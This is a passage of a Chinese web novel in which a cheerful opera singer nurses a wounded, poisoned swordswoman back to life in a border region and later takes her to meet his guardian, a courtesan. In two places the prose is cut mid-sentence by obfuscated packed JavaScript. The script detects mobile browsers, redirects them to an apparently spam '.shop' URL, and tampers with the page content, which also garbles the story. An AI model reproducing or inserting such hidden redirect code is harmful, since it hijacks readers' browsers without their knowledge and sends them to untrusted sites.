他说完,朝女人摆摆手,刚走几步又折返回来问道,“蝴蝶姐,牡丹姐姐这几日在家吗?我挖了笋顺便给她送去。” “干嘛,你小子又想求牡丹给你介绍姑娘?” “嘿嘿……”他不好意思地挠了挠头,“我也到年纪了嘛。” “哎呦!瞧你羞的,放心吧,牡丹帮你瞧着呢!” “谢谢两位姐姐!我马上就去挖笋,挖出来全给你们送去!” 说罢,他扛着镰刀蹦蹦跳跳地跑去竹林地。 “娘,”一个小姑娘揉着眼睛跑出来揪着蝴蝶衣角道,“我饿了。” 蝴蝶笑了笑,放下衣裳抹了抹她的脸蛋儿,稀罕道,“元宝再等等,待会儿戏扇哥哥就给我们送竹笋来了。” “戏扇哥哥?” “就是那个粉粉的,长得特别漂亮,像小鸟一样的人。” “哦!”小女孩儿恍然大悟,“鹦鹉哥哥!” “哈哈哈,”蝴蝶捏了捏小姑娘的鼻尖,哭笑不得,“就是他。不过当着他的面你可不能叫人家粉鹦鹉,知道了吗?” “知道了。” “这的是兜率宫,休猜做了离恨天……”壶声谷底,戏扇哼着小曲,蹦蹦跳跳往竹林走。 昨夜刚下过雨,地上十分泥泞,离的老远他便嗅到竹香,霎时间两眼放光,活像大熊猫成了精,一把镰刀舞的虎虎生风,极其生猛的向竹笋砍去。 “哈哈哈!这个大!这个也大!哈哈哈哈哈哈!”他像见了金子似的捧着竹笋反复欣赏,摸够了就扔进箩筐挖下一个,“我的笋,都是我的哈哈哈哈……” 这一整片竹林如今就来了他一个,若非扛不回去,仅凭他一人便能将这里的笋全挖了! 戏扇直起腰来擦了擦额头上的汗珠往竹林更深处走去,那里头见光少,更潮湿些,笋长的更大! “哈哈哈哈!”一想到这儿他就止不住的开心,一面笑一面大步向前走,只可惜笑到一半忽然被什么绊住了脚。 “哈哈哈哈哈……嘎?” 是藤蔓吧? 他刚要挥刀斩断,余光却瞥到一只惨白的手。 “嗷啊啊啊啊!!阿弥陀佛阿弥陀佛阿弥陀佛阿弥陀佛阿弥陀佛阿弥陀佛阿弥陀佛阿弥陀佛阿弥陀佛……” 戏扇当即发出惨叫,猛的跳起来,一蹦十米远,连连后退,闭着眼睛乱挥镰刀砍空气。 良久,见四周没了声音,他试探着将眼睛睁开条缝,见并无鬼神悄悄松了口气向前找去。 大片大片的茅草上,有一点红,依稀像个人。 他咽了口唾沫给自己壮胆,“既然是人那就好办了,没事的没事的……” 戏扇慢慢向前挪动,最后扒开片片茅草将里头那人拉了出来,“嚯!还真是个人啊!” “真是命大,”他凑上去瞧了瞧,发觉这人大概是从崖上摔下,凑巧挂到了一颗歪脖子树上,经过风吹雨淋滚下山谷,最后躲过片片竹林精准砸在了一个废弃的茅草屋上,思及此处他忽然拍了拍手衷心感叹,“这都能活,厉害厉害!” “不对,”他探了探那人鼻息,“还真的活着。行吧,那我这不救你还不行了呢!” 他背上箩筐,企图将那人打横抱起,结果吭哧两声失败了,无奈之下只能忍痛丢下竹笋。 他点点那人鼻尖反复警告,“你可千万得活着啊,你这条命价值一筐笋呢。” 好在下山路途平坦,他抱着人也不算太费力。 只是…… 他抱着人,迟迟不肯进家门,他们俩这副模样活像在泥地里滚过,可他这小房子如此整洁…… “不妥不妥,”戏扇当即将人撂在门口,自己脱了外衣外裤丢到一边洗干净才敢进屋,他看向屋外思虑半晌叹了口气,“至于你么,也给我干干净净的进来。” 他端了个铁盆就地给人擦起脸来,顺道也剥了人家的外衣,可剥着剥着他就觉得有哪里不对劲。 那人胸口扎了半截箭头,血都把衣裳浸透了,他忽然反应过来,再不找大夫估计真要死人了! “你等我嗷,你别死!”他端着盆慌慌张张的就要起身,结果脚底打滑,一盆水全泼到那人脸上。 好消息,那人睁眼了。 坏消息,只睁了一会儿。 戏扇见此忙不迭跑去找人,“蝴蝶姐!蝴蝶姐姐!你快开开门!” “怎么了怎么了,”蝴蝶赶忙跑出去,还没站定就被他拉着往家跑,“到底怎么了啊,戏扇你说话啊?” 戏扇气喘吁吁道:“救人,死人了!” “什么?!”蝴蝶一听,比他跑的还快,甚至超过他往小屋跑去。 两人刚一进门,蝴蝶瞧见那人捂着脑袋尖叫,“啊啊啊啊夭寿啦!你这死小子就给人扔这儿,还不快抬进屋里去!!” 戏扇赶忙将人搬到床上,一番诊治过后,蝴蝶终于松了口气,擦擦汗道,“这姑娘是你什么人啊,怎么伤的这么重?差点就死了。” “啊?姑姑姑姑、姑娘?!”戏扇一听蹦的老远,一副见鬼的模样。 “是啊,”蝴蝶为榻上女子擦干面上泥污,“你来瞧,长得跟株山茶似的,真俊呢。” 戏扇小心翼翼凑过去瞧了一眼,忽然愣住,呼吸顿了顿,他伸出手指悄悄戳了戳那人脸颊忽然傻笑一声,“真的欸。” 蝴蝶一把拍掉他的手警告,“干嘛,你到底认不认识这姑娘啊?” “不认识啊,”他吃痛的捂住手背委屈道,“我上山割笋的时候遇见的,看她还有一口气就带回来了。” “不认识你就敢往家里带?”蝴蝶照他后脑又打了一巴掌,“你不怕死啊!” “哎呦我知道错了,”他捂着脑袋哭诉,“但是、但是我带都带回来了啊。那总不能看着她死吧,而且她长得这也不像坏人啊。” “你懂个西皮,那她还会把‘我是坏人’四个字写脸上吗?你小子,实话跟我说,是不是看中人家姑娘长得漂亮,想弄回家当媳妇!” “不是不是!”戏扇连连摆手,“我也是刚知道她是女人啊,而且、而且那这种事要你情我愿的嘛。” 他说着脸莫名红起来,目光时不时瞥向那人。 “不过说真的,她要是真能做我媳妇就好了,我以后一定天天给她挖山笋吃,把最嫩的芯都留给她。” 蝴蝶翻了个白眼,一把拎起他的耳朵教训道,“真不知道你是真傻还是假傻。她要是北疆人怎么办,你不想回中原啦?” “那她也不像北疆人啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292921|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我觉得她是中原人呢!如果她是中原人,那我不就可以跟她回去了嘛。”他吃痛的捂着耳朵。 “唉,哪有这么容易,”蝴蝶叹了口气,看向榻上女子道,“你有没有想过,就算她是中原人,可她好好的为什么要来阇州这个不毛之地?你瞧她那身段,再看她手上的老茧,分明就是行武之人,这样的人我们是招惹不起的。”她说着,眼角垂下滴泪。 戏扇见她这幅模样急忙掏出帕子认错,“我错了我错了,我不要她做媳妇了还不行吗?你不要为了坏男人哭,都是我的错……” “跟你有什么关系,”她蹭干眼泪又恢复从前模样指着榻上女子警告道,“小扇子我和你说,我每天都会来这儿一趟给她检查身体,你可别想着做坏事。否则我就告诉牡丹,叫她剥了你的皮!” “知道了知道了,”戏扇十分委屈道,“我又不是张痞子,干嘛这么说我……我分明是好心呢。” “哎呀,”蝴蝶见此捧住他的脑袋蹭了蹭,安慰道,“你毕竟是男子,我多提点几句总没错。不过呢,我们小扇子是天底下最好的男子,女孩儿般的人品,怎么可能是张痞子那种货色能相提并论的?” 戏扇撅了撅嘴这才不生气,“不过我为了救人把笋丢山上了。对不起,你和元宝今天没有笋吃了。” “哎呦喂!”蝴蝶顿时哭笑不得,“你这孩子,都什么时候还想着笋哈哈哈。没事的,今晚来我家吃啊,蝴蝶姐姐给你做烟笋吃。” “真的!”戏扇一听两眼放光,刚要应下来却顿了顿无奈推辞道,“不行啊,我待会还有几场戏要唱呢。” 蝴蝶:“那就明天,你和牡丹说说,明天一起来我家吃。” “好!” 戏扇收拾好包袱刚要出门,莫名折返回来趴在榻上瞧那女子,唇角不自觉上扬。 他忽然想起蝴蝶的话猛的扇了自己一巴掌,自言自语道,“不行戏扇,万一她是坏人呢!” “……你是坏人吗?”他傻乎乎问道。 女子睡着,却不安稳,睫毛轻颤。 他凑了上去,一根一根地认真数起那人睫毛,“真漂亮,你比牡丹姐姐还漂亮。” “不行!”他又抽了自己一巴掌,“戏扇!万一她成家了呢!有孩子了呢!” 这一巴掌不痛不痒,他不知怎的又贴了上去,托着脸傻呵呵笑起来,“有孩子也好,我最喜欢孩子。” “不行!戏扇你要有尊严!” 他猛地弹开,强迫自己出门,可惜走到半路发现忘带包袱了,不得不又折返回去。 这包袱就落在那人身旁,他轻轻拿起包袱,一时不察,竟被一截发丝缠住。 “……干嘛。” 他越凑越近,盯着那人,甚至舍不得眨眼。一束阳光打进来刺痛戏扇,他不自觉红了眼,定定坐了会儿,最终牵起那人一缕发丝亲了下。 “这样总不算做坏事吧?”他为那人理了理发丝,这才心满意足的跑出门去,连背影都在书写开心两个字。 如此一年过去,榻上人始终没动静,就连蝴蝶也束手无策。起初大家都笑戏扇捡了个活死人,但他不以为然,就这么一直照顾着,后来大家便接受了,每每见到戏扇都要调侃一番。 那间干净的小屋逐渐被填满,他特地开了块菜地种山茶花,大片大片的火红,香气氤氲。 终于在第二年三月,屋里的人醒来了。 52. 阇罗斯丹篇 陌生的房间,僵硬的身体,千里撼勉强睁眼适应着阳光,她的脑袋里很空,什么都没有,只本能地爬下床扶着门往外走。 叽叽喳喳的鸟叫在林间回响,屋外是大好的阳光,她眯了眯眼,再睁开是满地的红。在那片地里有一抹淡淡的粉色,格外扎眼,她歪了歪头默不作声的看着那人动作,机灵又胆小,但很是勤快。 几只翠鸟张开翅膀扇了扇飞到那粉衣裳身旁捉弄他,他倒也不生气,耐着性子和它们讲道理好似这能听懂似的,结果不知怎的,身形一歪忽然载了个大跟头。 千里撼一时没忍住,笑出声来。 那人闻声捂着脑袋指着鸟儿质问,“是不是你!又或者是你,你们谁在笑我?” 他扑了扑土终于舍得转过身来,一瞧见到倚着门框笑他的千里撼忽然愣住,脚下不知被什么绊住,一屁股坐到地上。 人长得挺漂亮,像清晨含着露珠的花儿似的,怎得这样冒失? 她盯着那人出声关切,“你怎么这么爱摔倒?” 戏扇见人醒了直接看傻了,分明看了一年多以为早就看够了,哪成想动起来更好看了。 他蹭了蹭鼻尖薄汗,但忘了手上有土,于是一张粉面多了几道黑印,像刚从沙地里钻出的沙鼠,呆呆的,可爱极了。 千里撼指了指自己鼻子,又指了指脸颊,最后指了指他,提醒道:“小老鼠变花脸猫了。” “啊!我……”他急忙擦擦脸颊站起身来,看着千里撼一句话憋了半晌,最后脸都红了也没说出来。 千里撼笑笑,大约明白他要问什么,于是率先开口道:“我叫陆仁甲,你叫什么?” “我叫戏扇,大名戏百贺!大魏人士,早年虽母迁来阇州,以唱戏为生。呃,我今年二十四,尚未婚配,我会做饭洗衣,会带孩子会唱戏!我、我可以做小!不是!我、我的意思是……” “我也是大魏人士,”千里撼顿了顿看向四周,“不过你说这是哪里?” “阇州啊,阇罗斯丹。”他疑惑道,“你不知道吗?” 千里撼蹙了蹙眉,一时有些头晕,眼前翻花。她想不起这几个字,甚至从未听过,忽然四周一黑,没了声音,向后栽去。 “着火了!快救火啊!!” 再睁眼,她发现自己站在一条泥泞小路,道旁还有大包小包的行李堆放。 “高肃啊!你可千万不要做傻事啊!”一个脸黑的像炭似的老婆婆忽然冲过来紧紧握住她的手,分明自己也在颤抖,眼泪夹在皱纹里,可她还是死死抓住高肃,“这是天灾人祸,谁也没成想雷能落到电线上!你不能过去啊,你是大学生还有大好的未来,可不能想不开啊!” 高肃愣了愣,看向那栋她生活了二十年的砖房。 她出生在这里,又逃离了这里,如今她回来了,却被再次赶走,连同行李都丢了出来。 她清晰记得父亲的厚重嗓音,像打雷一般,腥臭的唾沫落在她头顶宛若春雨滋润大地。刀光剑影之中,母亲却抱着弟弟坐在一旁,倚靠懦弱,捂着耳朵,亲力亲为地表演‘岁月静好’。 这本来是个祥和宁静的三口之家,可坏就坏在高肃成了第三口,而她太高、大太、太扎眼,居然还恬不知耻的是个活人,这实在叫人难以忍受。 好在这个家中并非全是泥潭,还有最原始的快乐存在,比如弟弟,他就无论何时都在笑。 这样乐观的人难得存在。他还小,什么都不懂,看待一切都很纯粹,像一把火。 “高肃!孩子!你别过去啊!快回来!”老婆婆在后头撕心裂肺的呼喊着,过路救火的人被她吓到连忙阻拦,还以为她和高肃是什么至亲,生怕她往火海里去。 但显然他们的担心是多余的,老婆婆虽然年纪大了却很理智,只是在喊而已,脚尖儿前头的土一点也没动。 浓烟滚滚,熏得眼睛生疼,高肃却固执的往前走,大火像太阳持续发热,这栋承载她半数生命的小房子就这样一点点被吃掉,消失在一个平平无奇的的夜晚。 她伸出双手往前凑,张开食指,靠近火源,像小时候藏在房间偷偷插上小太阳那般。 烟雾打了她一拳又一拳,打得她鼻青脸肿,铁了心的要欺负人。高肃却不肯走,非要守着烤火,直到眼前一片模糊,数滴泪珠滚落。 她笑起来,露出点点白牙,口里发甜。指尖随火苗晃动,像在打节奏,高肃忽然天真的感慨,“真的是好暖和啊。” “小心!!” 不知是谁喊了一声,高肃下意识抬头却发现来不及了,烧塌的房梁砸了下来,精准击中她的左腿,烫出大片花海。 灼热的疼痛惊醒了她,像一剂强心针顿时将现实与虚幻划清了界限,千里撼猛地伸手想抓些什么却扑空了,眼前模糊不清。 刺耳的轰鸣声始终挥之不去,她听得见声音却很遥远,直到指尖被一只手握住,有温度传来,她才总算有落地的感觉。 “陆姑娘?陆姑娘你怎么样,听得见我说话吗?”戏扇焦急的喊道。 蝴蝶摸着她的脉搏又翻开眼皮查探,半晌,忽然道,“为什么?” “什么为什么啊,蝴蝶姐到底怎么了?她刚才还好好的跟我说话呢,怎么突然就这样了?”戏扇道。 蝴蝶顿了顿,用力掐住千里撼手腕贴近她耳边问道,“陆姑娘,你现在能不能听到我说话,能听到就动动眼睛。” 能。 “好,你听我说,我是大夫。你告诉我,你从前是否中过毒?” 是。 “这就对了,”蝴蝶点点头继续道,“你听我说,当初戏扇在竹林捡到你时你已中毒太深,我虽为你放血排毒却也只是权宜之计。方才你也说了自己曾中过毒,这新毒叠旧毒,两者相撞还能活着已是侥幸,这次我虽能将你救活,但你很可能落下残疾。陆姑娘,我只是个大夫,你若同意我便为你诊治,若不同意我便仅为你遏制毒发,不过日后你能活到哪天,全凭自己。” 落下残疾吗? 听起来的确可怕。 可她还有事要做,她答应过燕儿要回去。 就算是爬也要爬回去。 千里撼强忍睡意动了动眼珠,生怕蝴蝶看不见般,上下左右都转了一遍。 她要活着,一定得活着,哪怕手中空无一物,哪怕已经失败的彻彻底底。只要没死,就有机会,她一定能够东山再起。 “好,”蝴蝶松了口气点点头,“不过刮骨疗伤会有些痛,你忍一忍吧。” “戏扇,替我绑住她。”蝴蝶道。 戏扇一听忽然愣住,手上动作却不敢停,三两下将千里撼绑的结结实实,可手里那根擀面杖怎么也不敢往她嘴里放。 最终,他将自己胳膊放到千里撼唇边,“陆姑娘,痛的话就咬它吧。” 千里撼没动,自始至终都没动过,像一棵老树。脑中闪过无数张人脸,支撑她的只有两个字——回去。 又几个月过去,戏扇扶住千里撼坐在院中晒太阳,诚如蝴蝶所说她保住了命却落下残疾——几乎成了瞎子。 好在不是立刻就瞎,老天十分仁慈地给了她适应的时间,等她把喜欢的书都刻成了盲文,把戏扇的模样记住,又仔仔细细地看过这间小屋后才成了瞎子。 “陆姑娘!我给你买了鲫鱼,今晚我们喝鱼汤,蝴蝶姐姐说这个最补眼睛了。”戏扇提着条鱼跑 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“蝴蝶姐也不用做饭呀,都是我做好了放在她那儿的。”戏扇拢起袖子,边杀鱼边道,“你别瞧我长得漂亮,但我没娇养过一天,可能干了呢!从前戏班子没做起来的时候经常要赶台口,我才七八岁,就跟着一场场的跑,好多大人都累的睡不醒,就我一个,演完了还有功夫到处闲逛。” “你很小就在戏班子生活了吗?” “嗯……”戏扇顿了顿,有些顾虑的看向千里撼,死鱼在他手中挣了挣,但只是徒劳。 “不愿说的话我们可以换个话题,”千里撼笑了下道,“其实我并不想喝鱼汤,我想吃红烧鱼。” “好,那就做红烧鱼。”戏扇笑起来又埋头刮着鱼鳞喋喋不休起来,“小时候我最不爱吃鱼,直到牡丹姐姐给我做了红烧鱼,那滋味儿我到现在都记得。后来我长大了点,勉强能够得到锅台了,就急忙找牡丹姐姐把这手艺学了过来,没想到今日真的用上了。” 千里撼:“牡丹姐姐是谁,我听你提到她好多次了,是你的亲人吗?” “不是的,牡丹姐姐不是我的亲人。但……哎呀,其实已经差不多了。”戏扇左思右想,不知该怎么解释,于是干脆打个哈哈过去,“对了陆姑娘,你说你是魏人,能不能和我讲讲大魏啊?” “你很喜欢那里?” “嗯嗯!”戏扇用力的点点头,“我在大魏出生!后来辗转到了阇州,等大了点就从戏班子里搬出来住了。我很小的时候就离开了大魏,好像还被我娘抱在怀里呢,我就记得大魏的天很蓝,阳光很温暖。” “好像是这样吧。”千里撼默默低下头,指尖抚上书本的凹痕,她大约能够理解戏扇的心情,却没法同他一般向往。 那个地方的确承载了很多东西,她注定要回去,可那里不是她的家,这个世界没有她的家。 戏扇憧憬那里是因为思乡之情,而她不一样,会想回去也是为了一个约定、一个信念,注定要再次搅弄风云。 如今虽然瞎了,却也实在幸运,能被戏扇收留照顾给她疗伤的时间。可段日子里她愈发能想起从前在现代生活的许多事来,分明瞎了,心却清明不少,总在提醒她孰真孰假。 孰真孰假—— 千里撼摸上脚踝,上头干净平整什么都没有,哪怕当初被追杀二十几天这里也没受一点伤。但每每一睡熟,这里就剜心似的疼。 有时候真想一睡不起,就这样了却残生。 千里撼自嘲的笑起来,屈指敲了敲脑瓜以视警醒。她没头没尾的问道,“你说我们所在的这个地方叫阇罗斯丹,但这究竟是个什么地方?” 戏扇:“说来话长。不过,你知道云州吗?” 53. 阇罗斯丹篇 “云州我知道。但云州如今也不叫云州了,早年被夷人夺走后便改名古尔吉塔拉。”千里撼道。 “对对,阇罗斯丹就在云州南边,毗邻北疆。这里早年被北疆占领,但因为隔着条江不好管理便遭忽视,又是北疆囚徒流放之地,如今便成了这副狗不理的模样。” “狗不理?北疆不管吗?”千里撼问道? “不能说不管吧,但的确懒得管。阇州不大,又夹在交界处,北疆只有犯错遭贬的将领才会来此驻军,可他们又住不惯,于是总爱瞎折腾。阇州如今虽然划入北疆,可毕竟还是魏人多,保存着大魏的习俗,但那些杀千刀的野人又瞧不起魏人,纵容北疆人欺负魏人,搞得我们生活困难,只有少数才能住在城中,剩下都要住山里。” “这偌大的一块地,他们就空放着?可是,哪怕北疆也有管辖地区之人啊。” “有是有,”戏扇想了想道,“有个大吐屯世代管着这里,可人家也是北疆人,只管驻军和征税,其它一律不管。” 千里撼眉头紧蹙,默默叹了口气。 “其实我懂你的意思,但北疆那些莽汉脑子里只有打仗,对舞文弄墨一窍不通的。谁叫我们被抛弃了呢,”戏扇低头苦笑,开解千里撼道,“如今这里的魏人越来越少,但也有不少魏人闯出了名堂,就像牡丹姐姐。不过总是不及大魏好就是了。” “这个牡丹姐姐我听你说过好多次,她究竟是什么人啊?”千里撼问道。 “啊!”戏扇忽然激动起来,“牡丹姐姐是城里卧仙阁的花魁!是这世上最聪明最漂亮的女人!” “你听起来很崇拜她。” “当然了,魏人没几个不崇拜她的!只要来阇州,你可以不知道这是谁的地盘,但你一定会知道卧仙阁的牡丹娘子!” “有机会真想见见她。”千里撼道。 “嗯……这样吧,”戏扇思索一番道,“我早就求过牡丹姐姐为你寻良医,等过几日我带你去她那里瞧瞧,顺便你俩见一面,怎么样?” 千里撼点点头道:“好啊,只是辛苦你了。” “不辛苦不辛苦,我力气多着呢!”他一听千里撼答应了恨不得开心的满院跑,一口气做了四个菜,末了还不忘给蝴蝶送去一份。 三天后,戏扇收拾好一切,推着轮椅带千里撼进城。 她被捂的严严实实,甚至用头巾围住了脸。戏扇不知从哪找来套藏色北疆男装给千里撼,她身形高大穿着正合适,脚踩长靴,远远望去没人会怀疑她是女人。 北疆毕竟是个男尊女卑的地方,像她这样来路不明又身体残疾的女人则更是危险,临行之前戏扇再三嘱咐她不要张口说话,以免被发现身份,可见女人在此处境艰难。 戏扇推着轮椅上上下下的走,死活不让千里撼拄拐,可一进了城他忽然成了哑巴,只偶尔低声提醒千里撼几句便罢。 千里撼眼睛坏了,看东西不真切,只依稀有个虚影,索性就把眼闭了起来。 “哪来的瞎子,真晦气!” 一个男声在千里撼头顶响起,带着浓厚的北疆口音却非要用她能听懂的语言,想必是刻意说给他们听的。 不过那又如何。 她眼皮都懒得抬,只当是个屁,将那人放了。 “你说什么!”戏扇忽然道。 “呦,小娘们儿生气啦?说你男人一句,你不高兴?”那人不依不饶,挑衅似的凑近戏扇,用肩膀狠狠撞了他一下。 魏人身形不如北疆人,戏扇又不是天生强壮之人,自然招架不住这一下,若非拽着轮椅恐怕要被撞倒在地。可他不知怎的,今日忽然较起劲来,分明平日里也没少遭欺负。 戏扇:“你说谁晦气!” “哈哈哈哈,”那北疆人笑了几声,像是见了什么好玩儿的,退回来推搡戏扇,“呦,小兔子咬人啦,我好害怕呀~长个娘们儿样儿,真拿自己当男人啦哈哈哈……” 他说着,忽然拽过戏扇衣裳,带着□□道:“老子今天就扒了这层皮瞧瞧你到底有没有那玩应儿!” 四周只零星有几个人偷看,大多数则事不关己的走开,毕竟这种事每天都在发生。 “混蛋!”戏扇侧身挡在千里撼身前用力推了那人一把,“给我朋友道歉!” “道歉?”那人梗着脖子凑上前道:“让我给你个娘们儿道歉,做梦!” 他说着,挥手就要打向戏扇,一阵掌风袭来,熟悉的疼痛却没有降临。 戏扇松开紧咬的牙关,悄悄睁眼,这才看清,千里撼不知何时横在两人身前,她坐在轮椅上,单手抓住那北疆人手腕使其动弹不得。 “呦,不是瞎子嘛。你不会真是这小娘们儿姘头吧?” 那人咬着牙企图挣脱,却被千里撼牢牢抓住,只能出言羞辱挽回尊严。 “喂!放开我!” 千里撼手腕越握越紧,颇有要将其手骨捏碎的架势。 “死瞎子,放开我!你是聋子还是哑巴!放开我!!”他挣扎着惨叫,另一手拼命扳着千里撼手臂,犹如被一口大鼎压住。 千里撼手上力道逐渐加重,耳边隐隐有骨头开裂的细碎声。 她虽然残了,但功夫还在,废这么个小小地痞的能耐还是有的。 那人呼声越来越大,引得不少北疆人围观,他们最是团结。 戏扇见此悄悄拍了拍千里撼肩膀示意,千里撼这才松手。 “你!你!!” 那人气急败坏却不敢骂什么,生怕另一只手再废了,于是忽然耍赖要她们赔药钱否则就去告吐屯做主。 “是谁耽误我们卧仙阁做生意啊?” 一个魏人模样的女子走来,上头穿着露腰水袖,下身却是裤子,装束古怪的很。 她款款走来,横在戏扇身前调侃道,“哎呦,这不是我们楼里的常客嘛,这是怎么了?哎呦!瞧瞧这手!” 她说着,托起那人手腕满脸惋惜,“客官啊,你这手,啧啧!你这是筋脉逆转了啊,还好这个会医术的小兄弟给你扳了过来啊,否则后果不堪设想呢!” “放屁,”那人胡搅蛮缠道,“分明就是他给我捏坏的,还要我反过来谢他?” “哎呦你有所不知啊,这位小兄弟可是我们楼里新请来的神医,别看他有些残疾,但医术高着呢。我问你,你近日是否总觉得浑身乏力,白日睡不醒,夜里睡不实,还总爱盗汗?” “呃,”那人挠了挠头,“好像是有。” “这就对了!”女子一拍手,解释道,“这就是翻筋症,初得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292923|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病时无知无觉,待蔓延全身便会成那活死人!你如今病症在手,这小兄弟替你治了,还不要钱,你谢都来不及啊!” “这……居然是这样吗?那、那谢谢了……”那人说完,捂着手腕一脸茫然地走了。 见那人走远,戏扇悄悄称赞道:“嘿嘿,芍药姐姐,你真厉害!你怎么知道他得了翻筋症啊?” “屁的翻筋症,”女子顿时卸下笑脸,面上没有一点温度朝远处淡淡斜了眼道,“他整日只知道逛窑子,那是肾亏!我唬他的,你也信?” “哦,是这样,”戏扇惊叹道,“不愧是芍药姐,简直冰雪聪明。” “行了,别拍马屁了。”她招呼戏扇道,“跟我来。牡丹叫我来接你们的,果不其然,什么都逃不过她的眼睛。” 戏扇赶忙推起轮椅跟了上去,“牡丹姐姐知道我们会被找麻烦?” 芍药忽然停下脚步,戏扇一时没刹住,轱辘撞在她小腿上。 她回头看了眼轮椅上的人,又看了看戏扇,勾唇笑了下什么都没说。 卧仙阁里,牡丹早早等着她们,一进门便是铺天盖地的香气,丝竹声中不乏诗人,裹着酒气和薄纱推杯换盏。整个卧仙阁像巨大的鸟笼,从二楼开始有无数的房间堆叠,粉红、压抑,叫人喘不过气。 她们从侧门直接绕上四楼,省去不必要的交往,戏扇一进到这里话便多了起来,像到家了似的,一路上不住嘴的给千里撼讲各式陈设,生怕她看不到亏了眼睛。 四楼一层只有五间房,居正中的便是“牡丹房”,芍药将她们送到便打了个哈欠回自己屋里去了。 戏扇敲了敲门,“牡丹姐姐,我进来了。” “嗯。” 刚推开门,一股生冷清凉的香气扑了千里撼满脸,像一阵风,扫清了一路的甜腻。 她动了动鼻尖,默默道:“龙脑香。” “好鼻子。”一阵女声从后头传来,“小扇子,她就是你媳妇?” 戏扇一听赶忙摆胳膊否认,“不是不是!哎呀!牡丹姐我都说不是了,你这人怎么这样!” “不是?” 女子撩开帘子带来一阵清凉,她点着朱唇,画着胭脂,活像花里生出来的,一身的红粉,但奇怪的是她看起来很安静,毫不媚俗,甚至有些威严。 “不是的话我就没理由救她,你请回吧。”这话不知是在对谁说。 千里撼笑了笑,对那女子道,“辛苦姑娘,无论姑娘救与不救,路某都心怀感激。戏扇收留我这么久,忙前忙后毫无怨言,待我身体恢复,定会保他后半生富贵无忧。” 她看着千里撼,半晌,忽然笑起来,对着戏扇调侃道:“你眼光不错。我只细看几眼,魂都要被勾去了。” 戏扇闻言一下子红了脸,他有些心虚的瞥了眼千里撼,生怕她瞧见。 “进来吧,大夫就在里面。”牡丹摆摆手招呼二人进了里屋。 “你进来干嘛?” 她将戏扇挡在外头,指尖抵着他地脑门儿道,“待会儿她要脱衣服呢,你进来合适吗?” 戏扇顿时全身通红。 “去去,去外面守着去。”她说罢,接过轮椅往里推了一段。 千里撼仔细听着,发觉屋内并无第四个人。 54. 阇罗斯丹篇 “不用找了,”牡丹坐到她身旁,“那个大夫就是我。” 千里撼笑道,“牡丹姑娘叫我来是有什么想问的吗?” 她拿起千里撼的手掌捏了捏,又托着她的脸仔仔细细瞧了一遍,“真俊啊。” “陆姑娘,陆仁甲姑娘,”她念到这个名字没忍住笑了出来,“你用假名假姓来哄他对你死心塌地,是否有些不厚道呢?” “姑娘的意思路某不懂。” “不懂吗,还是装不懂。” 牡丹叹了口气,“我从小看着他长大,就连戏扇这个名字也是我取的。他自小便没了父母被我收养,懂事的要命,是个难得的实心人,一旦认定了什么就算咬碎牙也不说悔。当年卧仙阁困难,他悄悄化名花犯去学戏赚钱,不知挨了多少打才成台柱子,后来他提着一袋钱回来给我,我问他为什么这么做,他却说是自己喜欢唱戏。” “那年他也不过十几岁。”牡丹默默低头,“我早把他当成了我的亲弟弟,所以无论他想要什么我都会帮他。可是陆姑娘,你不是寻常人,你很危险。” 她坐在千里撼对面道,“我们挑明了说,你不是一般人,可小扇子他只是个俗人。大家都不是傻子,你瞧得出我也瞧得出。他喜欢你,对你死心塌地,所以拼了命的要救你,甚至不惜日日城里城外的两头跑也要回家照顾你,这些你不会不清楚吧?” 千里撼点点头,“知道。” 牡丹道:“知道就好。我不是挟恩图报,也不是要赶你走,今日哪怕你同我坦白跟我交底我也不会听半个字。我想要的只有一件事,陆姑娘,你知道我想要什么吗?” 千里撼笑了下,解释道:“牡丹姑娘,我不是无心之人,这段时间朝夕相处他的心意我早已明白。只是如今我不能,也没法给他承诺。你也看到了,我一介废人,无才无名,若空许承诺才真成了笑话。蝴蝶姑娘说我朝不保夕,我自己也明白,所以就算有心也不好对他说,若哪天真死了,总不会连累他难过。” “生前不想身后事,”牡丹打断她道,“你的意思我明白,能说出这番话也证明你是个坦荡人,比那些靠着一张皮虚情假意骗人的混蛋强不少了。” “你是在说蝴蝶姐吗。”千里撼道。 牡丹:“你倒是聪明。蝴蝶当年就是因为傻才被骗了,如今孤身带个孩子,好在自己争气,手里有钱不至于太难过。” “不幸中的万幸了。”千里撼道。 “其实今天我叫你们来就是想瞧瞧你,看你是个什么人,是否值得托付。”牡丹道,“说实在的,我不同意你们在一起,可小扇子又是在喜欢你,我便只能由着他。她是我弟弟,是我在世上为数不多的亲人,今日同你说这番话也无非想要个承诺。” “什么承诺。” “我要你承诺,永远不会欺负他,亏待他。要对他好,让他想做什么就做什么,可以自由自在的活着。” “好,”千里撼点点头,“我承诺。” “小扇子很懂事,很好养的。他吃不了多少却很能干,也很听话,没什么心机就一根筋。感情的事强求不来,若有朝一日你们相看两厌,我只求你不要苛责他,把他给我送回来,我养着他。” 亲人,这两个陌生的字眼第一次触动了千里撼的心。原来亲情是这样的东西,哪怕没有血脉相连也彼此担心,相互照料,不遗余力。 她道:“戏扇有你这样的亲人,真好。” 牡丹看向千里撼,那张脸上藏不住的落寞。她忽然环住千里撼,像抱住小时候的戏扇那般,“既然你是戏扇的媳妇,那就也是我的妹妹了。” 